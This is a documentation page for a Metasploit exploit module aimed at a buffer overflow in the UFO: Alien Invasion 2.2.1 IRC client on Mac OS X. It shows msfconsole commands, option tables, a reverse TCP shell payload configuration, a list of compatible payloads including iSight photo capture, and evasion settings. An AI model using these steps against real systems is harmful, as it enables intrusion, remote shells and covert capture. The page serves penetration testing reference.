UFO: Alien Invasion IRC Client Buffer Overflow - Metasploit
This page contains detailed information about how to use the exploit/osx/misc/ufo_ai metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: UFO: Alien Invasion IRC Client Buffer Overflow
Module: exploit/osx/misc/ufo_ai
Source code: modules/exploits/osx/misc/ufo_ai.rb
Disclosure date: 2009-10-28
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): -
Supported platform(s): OSX
Target service / protocol: -
Target network port(s): -
List of CVEs: -
This module exploits a buffer overflow in the IRC client component of UFO: Alien Invasion 2.2.1.
Module Ranking and Traits
Module Ranking:
- average: The exploit is generally unreliable or difficult to exploit. More information about ranking can be found here.
Basic Usage
msf > use exploit/osx/misc/ufo_ai
msf exploit(ufo_ai) > show targets
... a list of targets ...
msf exploit(ufo_ai) > set TARGET target-id
msf exploit(ufo_ai) > show options
... show and set options ...
msf exploit(ufo_ai) > exploit
Go back to menu.
Msfconsole Usage
Here is how the osx/misc/ufo_ai exploit module looks in the msfconsole:
msf6 > use exploit/osx/misc/ufo_ai
[*] No payload configured, defaulting to generic/shell_reverse_tcp
msf6 exploit(osx/misc/ufo_ai) > show info
Name: UFO: Alien Invasion IRC Client Buffer Overflow
Module: exploit/osx/misc/ufo_ai
Platform: OSX
Arch:
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Average
Disclosed: 2009-10-28
Provided by:
Jason Geffner
dookie
Available targets:
Id Name
-- ----
0 Mac OS X 10.5.8 x86, UFOAI 2.2.1
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 6667 yes The IRC daemon port to listen on
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
Payload information:
Space: 400
Avoid: 3 characters
Description:
This module exploits a buffer overflow in the IRC client component
of UFO: Alien Invasion 2.2.1.
References:
OSVDB (65689)
https://www.exploit-db.com/exploits/14013
Module Options
This is a complete list of options available in the osx/misc/ufo_ai exploit:
msf6 exploit(osx/misc/ufo_ai) > show options
Module options (exploit/osx/misc/ufo_ai):
Name Current Setting Required Description
---- --------------- -------- -----------
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 6667 yes The IRC daemon port to listen on
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
Payload options (generic/shell_reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.204.3 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Mac OS X 10.5.8 x86, UFOAI 2.2.1
Advanced Options
Here is a complete list of advanced options supported by the osx/misc/ufo_ai exploit:
msf6 exploit(osx/misc/ufo_ai) > show advanced
Module advanced options (exploit/osx/misc/ufo_ai):
Name Current Setting Required Description
---- --------------- -------- -----------
ContextInformationFile no The information file that contains context information
DisablePayloadHandler false no Disable the handler code for the selected payload
EnableContextEncoding false no Use transient context when encoding payloads
ListenerComm no The specific communication channel to use for this service
SSLCipher no String for SSL cipher spec - "DHE-RSA-AES256-SHA" or "ADH"
SSLCompression false no Enable SSL/TLS-level compression
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Payload advanced options (generic/shell_reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
ARCH no The architecture that is being targeted
PLATFORM no The platform that is being targeted
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the osx/misc/ufo_ai module can exploit:
msf6 exploit(osx/misc/ufo_ai) > show targets
Exploit targets:
Id Name
-- ----
0 Mac OS X 10.5.8 x86, UFOAI 2.2.1
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the osx/misc/ufo_ai exploit:
msf6 exploit(osx/misc/ufo_ai) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/generic/custom normal No Custom Payload
1 payload/generic/debug_trap normal No Generic x86 Debug Trap
2 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
3 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
4 payload/generic/tight_loop normal No Generic x86 Tight Loop
5 payload/osx/x86/bundleinject/bind_tcp normal No Mac OS X Inject Mach-O Bundle, Bind TCP Stager
6 payload/osx/x86/bundleinject/reverse_tcp normal No Mac OS X Inject Mach-O Bundle, Reverse TCP Stager
7 payload/osx/x86/exec normal No OS X Execute Command
8 payload/osx/x86/isight/bind_tcp normal No Mac OS X x86 iSight Photo Capture, Bind TCP Stager
9 payload/osx/x86/isight/reverse_tcp normal No Mac OS X x86 iSight Photo Capture, Reverse TCP Stager
10 payload/osx/x86/shell_bind_tcp normal No OS X Command Shell, Bind TCP Inline
11 payload/osx/x86/shell_reverse_tcp normal No OS X Command Shell, Reverse TCP Inline
12 payload/osx/x86/vforkshell/bind_tcp normal No OS X (vfork) Command Shell, Bind TCP Stager
13 payload/osx/x86/vforkshell/reverse_tcp normal No OS X (vfork) Command Shell, Reverse TCP Stager
14 payload/osx/x86/vforkshell_bind_tcp normal No OS X (vfork) Command Shell, Bind TCP Inline
15 payload/osx/x86/vforkshell_reverse_tcp normal No OS X (vfork) Command Shell, Reverse TCP Inline
Evasion Options
Here is the full list of possible evasion options supported by the osx/misc/ufo_ai exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(osx/misc/ufo_ai) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
TCP::max_send_size 0 no Maximum tcp segment size. (0 = disable)
TCP::send_delay 0 no Delays inserted before every send. (0 = disable)
Go back to menu.
Related Pull Requests
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #8716 Merged Pull Request: Print_Status -> Print_Good (And OCD bits 'n bobs)
- #8338 Merged Pull Request: Fix msf/core and self.class msftidy warnings
- #6812 Merged Pull Request: Resolve #6807, remove all OSVDB references.
- #6655 Merged Pull Request: use MetasploitModule as a class name
- #6648 Merged Pull Request: Change metasploit class names
- #2525 Merged Pull Request: Change module boilerplate
- #1241 Merged Pull Request: Removed all $Id$ and $Revision$ occurences
- #958 Merged Pull Request: Msftidy 2
- #259 Merged Pull Request: Convert Exploit-DB references to first-tier "EDB-12345" references
References
- CVE: Not available
- OSVDB (65689)
- EDB-14013
See Also
Check also the following modules related to this module:
- exploit/linux/http/ueb_api_rce
- exploit/linux/misc/ueb9_bpserverd
- auxiliary/admin/http/cisco_7937g_ssh_privesc
- auxiliary/admin/http/joomla_registration_privesc
- auxiliary/admin/http/manageengine_pmp_privesc
- auxiliary/admin/http/wp_automatic_plugin_privesc
- auxiliary/admin/http/wp_gdpr_compliance_privesc
- auxiliary/admin/oracle/oracle_index_privesc
- exploit/linux/ssh/vyos_restricted_shell_privesc
- exploit/openbsd/local/dynamic_loader_chpass_privesc
- exploit/unix/ssh/array_vxag_vapv_privkey_privesc
- exploit/unix/webapp/openemr_sqli_privesc_upload
- exploit/windows/local/appxsvc_hard_link_privesc
- exploit/windows/local/canon_driver_privesc
- exploit/windows/local/gog_galaxyclientservice_privesc
- exploit/windows/local/lexmark_driver_privesc
- exploit/windows/local/microfocus_operations_privesc
- exploit/windows/local/ms16_032_secondary_logon_handle_privesc
- exploit/windows/local/ms18_8120_win32k_privesc
- exploit/windows/local/plantronics_hub_spokesupdateservice_privesc
- exploit/windows/local/ricoh_driver_privesc
- payload/cmd/mainframe/apf_privesc_jcl
- exploit/linux/local/ufo_privilege_escalation
- exploit/windows/misc/ufo_ai
- exploit/osx/email/mailapp_image_exec
Authors
- Jason Geffner
- dookie
Version
This page has been produced using Metasploit Framework version 6.1.27-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.